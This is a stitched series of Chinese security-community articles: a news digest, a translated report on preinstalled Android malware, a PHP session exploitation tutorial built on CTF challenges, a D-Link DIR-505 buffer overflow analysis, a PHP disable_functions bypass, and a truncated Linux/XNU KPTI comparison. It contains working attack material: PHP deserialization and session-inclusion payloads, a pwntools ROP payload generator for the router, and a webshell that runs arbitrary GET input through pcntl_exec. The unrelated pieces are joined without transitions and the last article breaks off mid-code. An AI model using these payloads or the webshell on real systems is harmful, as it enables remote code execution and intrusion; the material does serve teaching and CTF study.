VPNFilter是一个大规模、鲁棒的、有很多功能的、危险的威胁，而且攻击的目标设备很难防护。高度模块化的架构可以让攻击者的运营基础设施迅速变化，服务情报收集、进行攻击等目的。其破坏性的功能尤为引人注意。攻击者可以在事后清楚攻击记录，以防止被追踪。攻击者使用kill等命令可以让上万设备瞬间不可用，断开网络连接等。
<https://blog.talosintelligence.com/2018/05/VPNFilter.html> | 社区文章 |
# 1月23日安全热点 - Linux创始人怒斥CPU补丁为彻底的垃圾
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Linus Torvalds认为Linux Spectre补丁是“彻底的垃圾”
<https://www.bleepingcomputer.com/news/linux/linus-torvalds-thinks-the-linux-spectre-patches-are-utter-garbage/>
中国安全研究员找出安卓利用链受到谷歌奖励112500美元
<http://securityaffairs.co/wordpress/68045/hacking/android-exploit-chain-award.html>
黑客因针对Skype和Google的DDoS攻击而入狱
<http://www.zdnet.com/article/hacker-jailed-for-ddos-attacks-against-pokemon-skype-and-google/>
英国500强律师事务所证书在暗网上泄露
<http://www.zdnet.com/article/uk-top-500-legal-firms-credentials-leaked-on-the-dark-web/>
在野勒索软件desuCryptd存在DEUSCRYPT and Decryptable变体
<https://www.bleepingcomputer.com/news/security/desucrypt-ransomware-in-the-wild-with-deuscrypt-and-decryptable-insane-variants/>
## 技术类
EvilTraffic行动分析报告
<http://csecybsec.com/download/zlab/20180121_CSE_Massive_Malvertising_Report.pdf>
你不知道的区块链
<https://mp.weixin.qq.com/s/eiVszU0mZ49WIMfrOEvgeA>
SSRF To RCE in MySQL
<https://mp.weixin.qq.com/s/9vk-H36erencugdYca9qXA>
macOS与时间戳检测
<http://cyberforensicator.com/2018/01/21/detection-of-backdating-the-system-clock-in-macos>
线程本地缓存
<https://0x00sec.org/t/heap-safari-thread-local-caching/5054/1>
Qualcomm EDL Programmers
[https://alephsecurity.com/2018/01/22/qualcomm-edl-1](https://alephsecurity.com/2018/01/22/qualcomm-edl-1/?utm_source=securitydailynews.com)
华硕Unauthenticated LAN远程命令执行
[https://blogs.securiteam.com/index.php/archives/3589](https://blogs.securiteam.com/index.php/archives/3589?utm_source=securitydailynews.com)
初学者指南Burpsuite有效负载（第1部分）
[ http://www.hackingarticles.in/beginners-guide-burpsuite-payloads-part-1](http://www.hackingarticles.in/beginners-guide-burpsuite-payloads-part-1)
Google Forms（WordPress插件）SSRF漏洞
<https://klikki.fi/adv/wpgform.html>
逆向工程之TEC-06串行协议
<https://syonyk.blogspot.co.uk/2018/01/reverse-engineering-tec-06-serial.html>
macro_pack —— 一个用于自动生成混淆过的 MS Office 文档工具
[https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack?utm_source=securitydailynews.com) | 社区文章 |
### 事件前言
在不久的将来，移动设备就会在系统应用程序上预装恶意软件，而这个想法是十分可怕的。
虽然这些话听起来很像一个对未来的预测，但是将移动恶意软件预先安装在设备中确实会带来非常严重的后果。
在我们过去的分析中，我们已经看到预先安装的恶意软件的实例，如臭名昭着的Adups威胁等等。
“预安装”是指恶意软件已预先安装在系统级别的设备上，因此无法被用户删除，只能够设置其为不可用。
但是，通过使用文章中的解决方法帮助当前用户卸载应用程序，并修复预先安装的恶意软件的一些迭代工具。 此方法涉及将移动设备连接到PC并使用ADB命令行工具。
按照我们的指南，我们可以在“[Adups的删除说明](https://forums.malwarebytes.com/topic/216616-removal-instructions-for-adups/)”中了解更多信息。
虽然这种方法有点乏味，但它确实可以防御恶意软件的侵害。 相比之下，修复预安装的恶意软件却更加困难。
我们现在便可以看到恶意软件作者所编写的设备正常运行所需的系统应用程序。，并通过在这些必要的应用程序中注入恶意代码。攻击者已经通过技术手段更新预装恶意软件的一些特性。
### 预安装应用的类型
根据应用在设备上的位置，我们可以将其分为两种类型的预安装应用。 此目录对于应用程序来说是十分重要的。
第一个目录是`/system/app/`。 此目录中的应用程序通常是用户需要的，但对于设备运行并不重要。
在功能上包含相机，蓝牙，设备上的FM收音机或照片查看的应用程序均存储在此位置。 这个目录也是设备将缓存暂时存储的位置。
卸载其中一些应用程序可能会降低用户体验，但它不会阻止设备运行。
另一个位置是`/system/priv-app/`。 这是重要的应用程序所在的位置。
例如，设置功能和系统UI等应用程序（包括Android设备上后退/主页按钮的功能）存储在此处。 换句话说，你绝对不能卸载这些应用程序。
遗憾的是，最新的预安装恶意软件瞄准了这个目录。
### 研究证据
由于新版本的恶意软件攻击力极强，所以我们列举两个研究案例。
#### 案例研究1：`System UI`中的`Riskware`自动安装程序
该设备的型号是`THL T9 Pro`。 恶意软件是[Android/
PUP.Riskware.Autoins.Fota.INS](https://blog.malwarebytes.com/detections/android-pup-riskware-autoins-fota/)。 虽然恶意代码看起来类似于普通的预装恶意软件Adups，
但它的核心系统应用与UI部分整合在一起，而不是像`UpgradeSys`这样的独立应用程序。 感染会导致系统崩溃，因为它会反复安装`Android /
Trojan.HiddenAds`软件。 我们并不知道这是否是`Adups`内部自带的功能，从另一方面说，我们并不知道代码是否是从`Adups Auto
Installer`中获取并插入到系统UI中。
#### 案例研究2：监控设置功能
这次，我们使用的设备是`UTOK Q55`。
恶意软件是[Android/Monitor.Pipe.Settings](https://blog.malwarebytes.com/cybercrime/2016/10/mobile-menace-monday-beware-of-monitoring-apps/)
。 “监听设备”类别并不需要[Potentially Unwanted Programs
(PUPs)](https://blog.malwarebytes.com/malwarebytes-news/2016/10/malwarebytes-gets-tougher-on-pups/)
程序。 顾名思义，Monitor应用程序从设备收集并报告敏感信息。 之后，这个特殊的Monitor应用程序在重要的应用设置中进行了硬编码。
实际上，它用于卸载那些拥有自行卸载以及修复功能的app - 带有讽刺韵味。
### 防御措施
这是这些攻击中存在的最大问题 - 目前还没有好的补救方法。 我和被感染者一同工作。我可以提供一些指导措施。
如果可以找到系统应用程序的正常版本来替换恶意版本，则我们便可以替换它。 用户需要查找与当前Android OS版本的设备匹配的系统应用程序。
如果找到，您可以尝试使用以下方法：
* 阅读Adups删除说明中的免责声明。
* 按照Adups的删除说明中的将应用程序恢复到设备上的步骤（无需恢复出厂设置），以保存要替换的系统应用程序的完整路径。
* 从网络上下载完整的应用版本
用户可以使用热门网站VirusTotal来确定它是否不含恶意代码。
* 从PC上将app移动到设备中
adb将`<PC file path>\<filename of clean
version.apk>`移动到`/sdcard/Download/<filename of clean version.apk>`中
* 卸载旧的、带有恶意程序的app
adb运行shell命令`pm uninstall -k –user 0 <恶意软件app的包名>`
* 安装新的应用
运行`pm install -r –user 0 /sdcard/Download/<filename of clean version.apk>`
* 查看是否正常工作
通常会遇到的错误如下：
* [INSTALL_FAILED_VERSION_DOWNGRADE]
* [INSTALL_FAILED_UPDATE_INCOMPATIBLE]
* [INSTALL_FAILED_OLDER_SDK]
如果新的版本安装失败，你仍可以恢复到旧版本
使用命令：`pm install -r –user 0 <full path of the apk saved from second step>`。
### 实质性工作
目前，解决这个问题的最好办法就是：
1. 远离这些被感染的设备。 以下是我们目前看到的受到影响的制造商/型号：
THL T9 Pro
UTOK Q55
BLU Studio G2 HD
1. 如果你已经购买了一个，那就退货吧。
2. 如果用户已经购买了一个设备却无法退货，那可以尝试联系供货商。
作为一名移动恶意软件研究人员，我很难写出我们目前无法修复的恶意软件名称。
然而，公众需要知道相关恶意软件仍逍遥法外。不论这些软件的价格或带来的后果如何，任何人都不应该容忍此类移动设备感染。 我们也将继续寻找处理这些感染的方法。
### APK样例
Detection: Android/PUP.Riskware.Autoins.Fota.INS
MD5: 9E0BBF6D26B843FB8FE95FDAD582BB70
Package Name: com.android.systemui
Detection: Android/Monitor.Pipe.Settings
MD5: DC267F396FA6F06FC7F70CFE845B39D7
Package Name: com.android.settings
本文为翻译稿件，翻译自：https://blog.malwarebytes.com/cybercrime/2019/01/the-new-landscape-of-preinstalled-mobile-malware-malicious-code-within/ | 社区文章 |
# 0x1PHP session 简介
## 0x1.1基本概念
session 概念: 一般称为会话控制。`session` 对象存储特定用户会话所需的属性及配置信息。这样，当用户在应用程序的 `Web`
页之间跳转时，存储在 `session` 对象中的变量将不会丢失，而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 `Web`
页时，如果该用户还没有会话，则 `Web` 服务器将自动创建一个 `session` 对象。当会话过期或被放弃后，服务器将终止该会话。
PHP session概念: `PHP session` 是一个特殊的变量，用于存储有关用户会话的信息，或更改用户会话的设置。`session`
变量保存的信息是单一用户的，并且可供应用程序中的所有页面使用。 它为每个访问者创建一个唯一的 `id (UID)`，并基于这个 `UID`
来存储变量。`UID` 存储在 `cookie` 中，亦或通过 `URL` 进行传导。
## 0x1.2会话流程
当开始一个会话时，`PHP` 会尝试从请求中查找会话 `ID` （通常通过会话 `cookie`）， 如果请求中不包含会话 `ID` 信息，`PHP`
就会创建一个新的会话。 会话开始之后，`PHP` 就会将会话中的数据设置到 `$_SESSION` 变量中。 当 `PHP` 停止的时候，它会自动读取
`$_SESSION` 中的内容，并将其进行序列化， 然后发送给会话保存管理器来进行保存。
默认情况下，`PHP` 使用内置的文件会话保存管理器（`files`）来完成会话的保存。 也可以通过配置项 `session.save_handler`
来修改所要采用的会话保存管理器。 对于文件会话保存管理器，会将会话数据保存到配置项 `session.save_path` 所指定的位置。
可以通过调用函数 `session_start()` 来手动开始一个会话。 如果配置项 `session.auto_start` 设置为1，
那么请求开始的时候，会话会自动开始。
`PHP` 脚本执行完毕之后，会话会自动关闭。 同时，也可以通过调用函数 `session_write_close()` 来手动关闭会话。
## 0x1.3常见配置
在 `PHP` 的安装目录下面找到 `php.ini` 文件，这个文件主要的作用是对 `PHP` 进行一些配置
session.save_handler = files #session的存储方式
session.save_path = "/var/lib/php/session" #session id存放路径
session.use_cookies= 1 #使用cookies在客户端保存会话
session.use_only_cookies = 1 #去保护URL中传送session id的用户
session.name = PHPSESSID #session名称（默认PHPSESSID）
session.auto_start = 0 #不启用请求自动初始化session
session.use_trans_sid = 0 #如果客户端禁用了cookie，可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递
session.cookie_lifetime = 0 #cookie存活时间（0为直至浏览器重启，单位秒）
session.cookie_path = / #cookie的有效路径
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly标记增加到cookie上(脚本语言无法抓取)
session.serialize_handler = php #PHP标准序列化
session.gc_maxlifetime =1440 #过期时间(默认24分钟，单位秒)
## 0x1.4存储引擎
`PHP` 中的 `session` 中的内容默认是以文件的方式来存储的，存储方式就是由配置项`session.save_handler`
来进行确定的，默认是以文件的方式存储。
存储的文件是以 `sess_PHPSESSID` 来进行命名的，文件的内容就是 `session` 值的序列话之后的内容。
`session.serialize_handler` 是用来设置 `session` 的序列话引擎的，除了默认的 `PHP`
引擎之外，还存在其他引擎，不同的引擎所对应的 `session` 的存储方式不相同。
`session.serialize_handler` 有如下三种取值
存储引擎 | 存储方式
---|---
php_binary | 键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值
php | 键名+竖线+经过 serialize() 函数序列处理的值
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组
在 `PHP` 中默认使用的是 `PHP`
引擎，如果要修改为其他的引擎，只需要添加代码`ini_set('session.serialize_handler',
'需要设置的引擎')`,示例代码如下：
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
以如下代码为例，查看不同存储引擎存储的结果
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');//这里换不同的存储引擎
session_start();
$_SESSION['username'] = $_GET['username'];
?>
php_binary
php
php_serialize
# 0x2PHP session 利用
## 0x2.1反序列化
当网站序列化存储 `session` 与反序列化读取 `session` 的方式不同时，就可能导致 `session` 反序列化漏洞的产生。 一般都是以
`php_serialize` 序列化存储 `session`， 以 `PHP` 反序列化读取 `session`，造成反序列化攻击。
### 0x2.1.1 有`$_SESSION`赋值
例子
s1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
?>
s2.php
<?php
session_start();
class session {
var $var;
function __destruct() {
eval($this->var);
}
}
?>
s1.php 使用的是 `php_serialize` 存储引擎，s2.php 使用的是 `php` 存储引擎(页面中没有设置存储引擎，默认使用的是
`php.ini` 中 `session.serialize_handler` 设置的值，默认为 `php`)
我们可以往 s1.php 传入如下的参数
s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}
此时使用的是 `php_seriallize` 存储引擎来序列化，存储的内容为
接着访问s2.php,使用的是 `php` 存储引擎来反序列化，结果
这是因为当使用 `php` 引擎的时候，`php` 引擎会以 | 作为作为 `key` 和 `value`
的分隔符，那么就会将`a:1:{s:8:"username";s:47:"`作为 `session` 的
`key`，将`O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}`作为 `value`，然后进行反序列化。
访问s2.php为什么会反序列化？这里可以可以看看官方文档
那串 `value` 不符合"正常"的被反序列化的字符串规则不会报错吗？这里提到一个`unserialize` 的特性，在执行 `unserialize`
的时候，如果字符串前面满足了可被反序列化的规则即后续的不规则字符会被忽略。
### 0x2.1.2 无`$_SESSION`赋值
上面的例子直接可以给 `$_SESSION` 赋值,那当代码中不存在给 `$_SESSION` 赋值的时候，又该如何处理？
查看官方文档，可知还存在 PHP 还存在一个 `upload_process` 机制，可以在`$_SESSION`中创建一个键值对，其中的值可以控制。
以 Jarvis OJ 平台的 PHPINFO 题目为例
环境地址：<http://web.jarvisoj.com:32784/>
index.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
存在 phpinfo.php 文件,由此可知 `session.upload_progress.enabled` 为
On，`session.serialize_handler` 为 `php_serialize`，与 index.php 页面所用的 PHP
存储引擎不同，存在反序列化攻击。
`session.upload_progress.name` 为 `PHP_SESSION_UPLOAD_PROGRESS`，可以本地创建
form.html，一个向 index.php 提交 POST 请求的表单文件，其中包括`PHP_SESSION_UPLOAD_PROGRESS` 变量。
form.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
使用 bp 抓包,在 `PHP_SESSION_UPLOAD_PROGRESS` 的 `value` 值123后面添加 | 和序列化的字符串
查看根目录文件
查看根目录路径
读取 flag
## 0x2.2文件包含
利用条件： 存在文件包含，`session` 文件的路径已知，且文件中的内容可控。
`session` 文件的路径可从 `phpinfo` 中得知，
或者进行猜测
/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
例子1：
session.php
<?php
session_start();
$_SESSION["username"]=$_GET['s'];
?>
include.php
<?php
include $_GET['i'];
?>
往 session.php 传入一句话，写入 `session` 文件中
session.php?s=<?php phpinfo(); ?>
在 `cookie` 中 `PHPSESSID` 值为 `k82hb2gbrj7daoncpogvlbrbcp`，即 `session` 存储的文件名为
`sess_k82hb2gbrj7daoncpogvlbrbcp`,路径可以猜测一下，这里为 `/var/lib/php/sessions/`
include.php 文件包含 `session` 存储文件
/include.php?i=/var/lib/php/sessions/sess_k82hb2gbrj7daoncpogvlbrbcp
例子2：
XCTF2018-Final_bestphp
这里就取其中的小部分代码
bestphp.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$func=isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
if(isset($_GET['file'])){
include $_GET['file'];
}
session_start();
$_SESSION['name']=$_POST['name'];
?>
这里设置了 `open_basedir`，限制了我们读取文件的范围,这里 `session` 文件是保存在 `/var/lib/php/session/`
下，不在读取的范围里，这里可以考虑修改一下 `session` 文件存储的位置。
`session_start()`函数从 `PHP7` 开始增加了 `options` 参数，会覆盖 php.ini 中的配置。
利用 `session_start` 覆盖 php.ini 文件中的默认配置 `session.save_path` 的值，并写入
http://192.168.1.101/bestphp.php/?function=session_start&save_path=/var/www/html
post: name=<?=phpinfo();?>
成功包含 session 文件
其实这个操作也可以由 `session_save_path()` 函数来完成，但是这个函数传入的参数是个字符串，不适用于此题。
## 0x2.3用户伪造
利用条件：知道所使用的 `PHP session` 存储引擎，以及 `session` 文件内容可控。
这里就以2020虎符杯-babyupload 为例
index.php
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
这是一个存在上传和下载文件的功能的文件，只有当`$_SESSION['username'] ==='admin'` 才能获取 `flag`。
我们可以通过下载查看 `session` 文件所使用的存储引擎，然后通过相同的存储引擎伪造为 `admin`，上传 `session` 文件 ，获取
`flag`。
首先下载 `session` 文件，文件名为 `sess_PHPSESSID`
http://192.168.100.16/index.php
post:direction=download&filename=sess_qq7ucpov7ulvt1qsji3pueea2i
可知使用的是 `php_binary` 。
内容为：
<0x08>usernames:5:"guest";
猜测我们只要上传一个 `session` 文件内容为：
<0x08>usernames:5:"admin";
发现如果不上传 `attr`
参数，`dir_path`会直接拼接上传的文件名+`"_".hash_file("sha256",$_FILES['up_file']['tmp_name']);`
如果把上传文件名设置为 `sess`，并且不传递 `attr` 参数，就可以得到`/var/babyctf/sess_XXXXXXXXX`，这就可以当成
`session` 文件。
`hash_file()`是根据文件内容得到的 `hash` 值
本地创建一个文件名为sess:
上传 sess 文件
计算 hash 值
文件名为
`sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4`,尝试下载访问，如下可知已经上传成功。
现在就差 success.txt， 可以把 `attr` 参数设置为 success.txt
将 success.txt 变成一个目录,从而绕过了限制。
然后将 `PHPSESSID`
修改为`432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4`,就可以得到
`flag`
# 0x3总结
这里对 PHP session 常见的利用点进行一次汇总，当然肯定还有其他利用方式，等自己以后遇到再补充吧。
# 0x4参考
<https://www.w3school.com.cn/php/php_sessions.asp>
<https://www.cnblogs.com/st-leslie/p/8016951.html>
<https://www.php.net/manual/zh/book.session.php>
<https://blog.spoock.com/2016/10/16/php-serialize-problem/>
<https://cloud.tencent.com/developer/article/1487037>
<https://zhuanlan.zhihu.com/p/90879209> | 社区文章 |
[TOC]
# D-Link DIR-505便携路由器越界漏洞分析
这里介绍另一种方式提取文件系统（虽然失败了...失败原因注释中）
dd if=DIR505A1_FW108B10.bin skip=1048660 bs=1 of=dir505.sfs
1. `dd` 可以跨文件、设备、分区和卷复制数据
2. `if` 标准文件输入
3. `of` 标准文件输出
4. `bs` 块大小
5. `skip`用于跳过指向固件二进制映像中特定地址的指针
最终得到`dd`命令分割之后的文件`dir505.sfs`，这是一个存储`Squashfs`文件系统的文件。之后可以使用`unsquashfs`工具来对其中的文件系统进行提取。提取完成后会自动创建一个`squashfs-root`文件夹。
`失败原因注释:`文件内容结尾填充了别的数据，导致解压失败。
1,新建查找溢出参数
2,根据交叉引用功能，找到引用此字符串的函数
3,切换到IDA的graph overview模式下，整体分析`get_input_entries`函数流程
4,分析每个参数来源（关键）
参数的来源不一定全在本函数内，也可能来至传进来的参数，因此需要回溯函数去跟踪找出对应的源头。
查看引用`get_input_entries`函数的函数：
5，回到`get_input_entries`函数继续分析
6，
由于循环次数未作限制，导致可利用点：
`跟踪过程：`
get_input_entries(s0,s2)
s0->sp-0x74920[477450]
s2->v0=strtol(v0,0,10)（v0保存函数返回值的寄存器）->v0= getenv(CONTENT_LENGTH)返回值
s2->v0=strtol(getenv(CONTENT_LENGTH),0,10)
# IDA动态调试验证
1，调试脚本：
#!/bin/bash
# 待执行命令
# sudo ./my_cgi.sh
INPUT=`python -c "print 'storage_path='+'B'*477472+'A'*4"`
LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
PORT="1234" # 监听的调试端口
# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
# 复制qemu-mipsel-static到本目录并重命名，注意是static版本
cp $(which qemu-mips-static) ./qemu
# ｜ 管道符：前者输出作为后者输入
# chroot 将某目录设置为根目录（逻辑上的）
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="multipart/formdata" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /usr/bin/my_cgi.cgi
#CONTENT_TYPE="multipart/form-data"这个做了修改（少了个-，其他修改没试，有兴趣的自行测试），不知道为什么修改就断不下来在get_input_entries函数
echo 'run ok'
rm -f ./qemu # 删除拷贝过来的执行文件
2,设置断点在`get_input_entries`函数
确实控制了RA的值
3，构造ROP
#!usr/bin/python
from pwn import *
context.endian="big"
context.arch="mips"
payload = "storage_path="
payload += "a" * 0x7490a
payload += "b" * 0x16
payload += p32(0x00404EA0)
payload += "c" * 0x8C
payload += "/bin/sh\x00"
with open("payload",'wb') as f:
f.write(payload)
f.close()
# 总结
分析过程主要说明了如何根据汇编利用逆向基础去回溯数据来源，对于找到漏洞输入点是一件十分重要的工作。 | 社区文章 |
大部分被禁用的是这些函数，然而泄露了一个pcntl
被禁用的函数（disable_functions）： passthru exec system chroot chgrp
chown shell_exec proc_open proc_get_status popen
ini_alter ini_restore dl openlog syslog
readlink symlink popepassthru stream_socket_server
<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd="/tmp/output.txt";
print_r(file_get_contents($cd));
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
} | 社区文章 |
**作者： wzt
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 概述
由于cpu的指令预取存在漏洞，可以从el0直接访问el1内容，主流os对其缓解措施就是限制el0能读取的el1代码范围，
注意程序运行在el0时，并不能直接关闭el1的所有代码访问路径，一个原因是程序运行过程会产生错误，需要el1的异常处理逻辑来接管，另一个原因是程序需要主动使用svc请求el1的系统服务，同样还是会被异常处理逻辑来接管。为此linux和xnu使用了两种不同的方案来实现el1的页表隔离。
## Linux kpti实现
linux的做法是在el0
level上提供一个简单的异常处理程序trampline以及新的`ttbr1_el1`页表，每次从el0进入el1时，切换`vbar_el1`的地址以及`ttbr1_el1`的地址为内核使用的异常处理地址和页表地址，每次从el1退回el0时，再次切换`vbar_el1`为trampline的地址以及切换新的`ttbr1_el1`地址。trampline的代码段很小，只会映射el1异常处理代码的范围，这样新的`ttbr_el1`的页表占用空间也会非常小。
./arch/arm64/kernel/vmlinux.lds.S
\#ifdef CONFIG_UNMAP_KERNEL_AT_EL0
\#define TRAMP_TEXT \
. = ALIGN(PAGE_SIZE); \
__entry_tramp_text_start = .; \
*(.entry.tramp.text) \
. = ALIGN(PAGE_SIZE); \
__entry_tramp_text_end = .;
内核的链接脚本里预先划分出trampline的代码空间。
idmap_pg_dir = .;
. += IDMAP_DIR_SIZE;
\#ifdef CONFIG_UNMAP_KERNEL_AT_EL0
tramp_pg_dir = .;
. += PAGE_SIZE;
\#endif
trampline的页表地址紧挨在`idmap_pg_dir`后面。
./arch/arm64/kernel/entry.S
.pushsection ".entry.tramp.text", "ax"
.macro tramp_map_kernel, tmp
mrs \tmp, ttbr1_el1
add \tmp, \tmp, #(PAGE_SIZE + RESERVED_TTBR0_SIZE)
bic \tmp, \tmp, #USER_ASID_FLAG
msr ttbr1_el1, \tmp
.endm
.macro tramp_unmap_kernel, tmp
mrs \tmp, ttbr1_el1
sub \tmp, \tmp, #(PAGE_SIZE + RESERVED_TTBR0_SIZE)
orr \tmp, \tmp, #USER_ASID_FLAG
msr ttbr1_el1, \tmp
.endm
宏`tramp_map_kernel`用来每次进入内核时，更新内核的`ttbr1_el1`地址。宏`tramp_unmap_kernel`用来每次退出内核时，切换`trampline的ttbr_el1`地址。
.macro tramp_ventry, regsize = 64
.align 7
**1:**
.if \regsize == 64
msr tpidrro_el0, x30 // Restored in kernel_ventry
.endif
bl 2f
b .
**2:**
tramp_map_kernel x30
\#ifdef CONFIG_RANDOMIZE_BASE
adr x30, tramp_vectors + PAGE_SIZE
alternative_insn isb, nop, ARM64_WORKAROUND_QCOM_FALKOR_E1003
ldr x30, [x30]
\#else
ldr x30, =vectors
\#endif
msr vbar_el1, x30
add x30, x30, #(1b - tramp_vectors)
isb
ret
.endm
宏`tramp_ventry`是el1异常处理的入口地址，首先调用了`tramp_map_kernel`切换内核的`ttbr1_el1`，紧接着切换`vbar_el1`为内核的异常处理地址=vectors，所以trampline的作用顾名思义只起到跳转的作用，真正对异常处理的流程还是要通过内核来接管。
.macro tramp_exit, regsize = 64
adr x30, tramp_vectors
msr vbar_el1, x30
tramp_unmap_kernel x30
.if \regsize == 64
mrs x30, far_el1
.endif
eret
Sb
.endm
每次退出异常处理时，首先调用`tramp_unmap_kernel`更新`trampline的ttbr1_el1`页表地址，然后更新`vbar_el1`为trampline使用的`tramp_vectors`异常处理入口。
ENTRY(tramp_vectors)
.space 0x400
tramp_ventry
tramp_ventry
tramp_ventry
tramp_ventry
tramp_ventry 32
tramp_ventry 32
tramp_ventry 32
tramp_ventry 32
END(tramp_vectors)
可以看到trampline的异常处理地址，只需填充了0x400偏移，也就是来自el0的同步类型的异常处理，因为trampline的存在仅是为了服务来自el0的异常处理请求。
## XNU kpti实现
我们看到linux为了在el0隔离el1的代码，使用了一个新的代码段叫trampline，一个新的页表`tramp_pg_dir`，每次进入内核与退出内核时都要切换`vbar_el1`以及`ttbr1_el1`。这样频繁的切换这两个寄存器，性能肯定会受到影响。而XNU利用了一个更聪明更巧妙的做法来使性能损失达到最小。
XNU通过使tcr.T1SZ字段减去1，使从内核返回用户空间时，内核的虚拟地址空间减半，也就是缩减了内核空间的大小，这样即使el0程序利用cpu漏洞，也只能读取较低的内核地址空间，没有关键的内核数据。每次从用户空间进入内核时，在将tcr.T1SZ字段加1，恢复整个的内核地址空间。
./osfmk/arm64/locore.s
.macro MAP_KERNEL
mrs x18, TTBR0_EL1
orr x18, x18, #(1 << TTBR_ASID_SHIFT)
msr TTBR0_EL1, x18
MOV64 x18, TCR_EL1_BOOT
msr TCR_EL1, x18
isb sy
.endmacro
每次进入内核时跟新`TCR_EL1`。
/* Update TCR to unmap the kernel. */
MOV64 x18, TCR_EL1_USER
msr TCR_EL1, x18
每次从异常处理退出内核时，修改`TCR_EL1`缩减内核地址空间。
osfmk/arm64/proc_reg.h
\#define TCR_EL1_BOOT (TCR_EL1_BASE | (T1SZ_BOOT << TCR_T1SZ_SHIFT) | (TCR_TG0_GRANULE_SIZE))
\#define T1SZ_USER (T1SZ_BOOT + 1)
\#define TCR_EL1_USER (TCR_EL1_BASE | (T1SZ_USER << TCR_T1SZ_SHIFT) | (TCR_TG0_GRANULE_SIZE))
同样对于在el0时触发的异常处理地址，XNU利用了一个tricky技巧，将内核态的异常处理地址的 **虚拟地址** 和在el0时触发的异常处理的
**虚拟地址** ，都映射到了内核原有的异常处理地址的 **物理地址** ，并且el0时触发的异常处理的虚拟地址正好选在了内核地址空间的一半位置处。
./osfmk/arm64/arm_vm_init.c
static void
arm_vm_prepare_kernel_el0_mappings(bool alloc_only)
{
pt_entry_t pte = 0;
vm_offset_t start = ((vm_offset_t)&ExceptionVectorsBase) & ~PAGE_MASK;
vm_offset_t end = (((vm_offset_t)&ExceptionVectorsEnd) + PAGE_MASK) & ~PAGE_MASK;
vm_offset_t cur = 0;
vm_offset_t cur_fixed = 0;
for (cur = start, cur_fixed = ARM_KERNEL_PROTECT_EXCEPTION_START; cur < end; cur += ARM_PGBYTES, cur_fixed += ARM_PGBYTES) {
if (!alloc_only) {
pte = arm_vm_kernel_pte(cur);
}
arm_vm_kernel_el1_map(cur_fixed, pte);
